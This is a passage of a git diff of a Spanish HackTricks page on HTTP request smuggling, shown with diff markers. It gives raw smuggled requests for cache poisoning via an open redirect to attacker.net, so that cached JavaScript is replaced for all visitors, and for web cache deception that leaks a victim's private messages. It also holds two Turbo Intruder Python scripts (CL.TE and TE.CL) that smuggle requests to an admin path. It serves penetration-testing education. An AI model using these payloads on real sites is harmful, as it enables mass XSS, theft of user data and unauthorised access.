Ya hemos visto cómo modificar el valor esperado devuelto por el servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada esté solicitando `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará en caché con el contenido de `/index.html`, lo que hará que `/static/include.js` sea inaccesible para los clientes (¿DoS?).
|
||||
|
||||
Ten en cuenta que esto es aún más interesante si encuentras alguna **Redirección Abierta** o alguna **redirección en el sitio a redirección abierta** (última sección). Porque podrías ser capaz de **cambiar los valores de caché** de `/static/include.js` con los de un script controlado por ti (haciendo un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
|
||||
|
||||
En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección en el sitio a redirección abierta** para modificar el contenido de la caché de `/static/include.js` y **servir código JS controlado** por el atacante:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 124`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /post/next?postId=3 HTTP/1.1`\
|
||||
`Host: attacker.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 10`\
|
||||
\`\`\
|
||||
`x=1`
|
||||
|
||||
Observa cómo la solicitud embebida está solicitando `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4` y **utilizará el valor de la cabecera Host** para indicar el dominio. Por lo tanto, puedes **modificar la cabecera Host** para apuntar al servidor del atacante y la redirección utilizará ese dominio (**redirección en el sitio a redirección abierta**).
|
||||
|
||||
Luego, **después de envenenar el socket**, debes enviar una solicitud **GET** a \*\*`/static/include.js`\*\* esta solicitud será **envenenada** por la solicitud **redirección en el sitio a redirección abierta** y **obtendrá el contenido del script controlado por el atacante**.
|
||||
|
||||
La próxima vez que alguien solicite `/static/include.js`, se servirán los contenidos en caché del script del atacante (XSS general).
|
||||
### Uso de la técnica de solicitud HTTP smuggling para realizar engaño en la caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **¿Cuál es la diferencia entre envenenamiento de caché web y engaño en la caché web?**
|
||||
>
|
||||
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> * En el **engaño en la caché web**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
|
||||
En esta variante, el atacante introduce una solicitud que devuelve contenido sensible específico del usuario. Por ejemplo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 43`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
|
||||
Si el **veneno llega a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **almacenado en caché**. El contenido de `/private/messages` de la víctima se almacenará en `/someimage.png` y el atacante podrá robarlo.\
|
||||
Ten en cuenta que el **atacante no sabe qué contenido estático estaba intentando acceder la víctima**, por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todos** los contenidos estáticos y **buscar los datos privados**.
|
||||
|
||||
### Armando la técnica de solicitud HTTP smuggling con desincronización de respuesta HTTP
|
||||
|
||||
¿Has encontrado alguna vulnerabilidad de solicitud HTTP smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
|
@ -214,19 +385,19 @@ Desde [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-
|
|||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=5,
|
||||
requestsPerConnection=1,
|
||||
resumeSSL=False,
|
||||
timeout=10,
|
||||
pipeline=False,
|
||||
maxRetriesPerRequest=0,
|
||||
engine=Engine.THREADED,
|
||||
)
|
||||
engine.start()
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=5,
|
||||
requestsPerConnection=1,
|
||||
resumeSSL=False,
|
||||
timeout=10,
|
||||
pipeline=False,
|
||||
maxRetriesPerRequest=0,
|
||||
engine=Engine.THREADED,
|
||||
)
|
||||
engine.start()
|
||||
|
||||
attack = '''POST / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
attack = '''POST / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
Host: xxx.com
|
||||
Content-Length: 35
|
||||
Foo: bar
|
||||
|
|
@ -236,45 +407,36 @@ Foo: bar
|
|||
GET /admin7 HTTP/1.1
|
||||
X-Foo: k'''
|
||||
|
||||
engine.queue(attack)
|
||||
engine.queue(attack)
|
||||
|
||||
victim = '''GET / HTTP/1.1
|
||||
victim = '''GET / HTTP/1.1
|
||||
Host: xxx.com
|
||||
|
||||
'''
|
||||
for i in range(14):
|
||||
engine.queue(victim)
|
||||
time.sleep(0.05)
|
||||
for i in range(14):
|
||||
engine.queue(victim)
|
||||
time.sleep(0.05)
|
||||
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
Desde: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
|
||||
#### Descripción
|
||||
|
||||
TE.CL es una técnica de smuggling HTTP que se aprovecha de la forma en que los servidores proxy manejan las cabeceras Transfer-Encoding y Content-Length. Esta técnica se basa en enviar una solicitud HTTP con dos conjuntos de cabeceras Content-Length y Transfer-Encoding que se procesan de manera diferente por el servidor proxy y el servidor de origen. Esto puede llevar a una variedad de problemas, incluyendo la ejecución de ataques de desincronización HTTP y la toma de control de cuentas.
|
||||
|
||||
#### Referencias
|
||||
|
||||
- [https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
|
||||
- [https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2020/july/http-desync-attacks-what-happened-next/](https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2020/july/http-desync-attacks-what-happened-next/)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=5,
|
||||
requestsPerConnection=1,
|
||||
resumeSSL=False,
|
||||
timeout=10,
|
||||
pipeline=False,
|
||||
maxRetriesPerRequest=0,
|
||||
engine=Engine.THREADED,
|
||||
)
|
||||
engine.start()
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=5,
|
||||
requestsPerConnection=1,
|
||||
resumeSSL=False,
|
||||
timeout=10,
|
||||
pipeline=False,
|
||||
maxRetriesPerRequest=0,
|
||||
engine=Engine.THREADED,
|
||||
)
|
||||
engine.start()
|
||||
|
||||
attack = '''POST / HTTP/1.1
|
||||
attack = '''POST / HTTP/1.1
|
||||
Host: xxx.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding : chunked
|
||||
|
|
@ -288,19 +450,19 @@ kk
|
|||
0
|
||||
|
||||
'''
|
||||
engine.queue(attack)
|
||||
engine.queue(attack)
|
||||
|
||||
victim = '''GET / HTTP/1.1
|
||||
victim = '''GET / HTTP/1.1
|
||||
Host: xxx.com
|
||||
|
||||
'''
|
||||
for i in range(14):
|
||||
engine.queue(victim)
|
||||
time.sleep(0.05)
|
||||
for i in range(14):
|
||||
engine.queue(victim)
|
||||
time.sleep(0.05)
|
||||
|
||||
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
table.add(req)
|
||||
```
|
||||
## Más información
|
||||
|
||||
|
|
@ -314,7 +476,7 @@ def handleResponse(req, interesting):
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas de smuggling de solicitudes.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el contrabando de solicitudes.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
@ -333,8 +495,7 @@ def handleResponse(req, interesting):
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue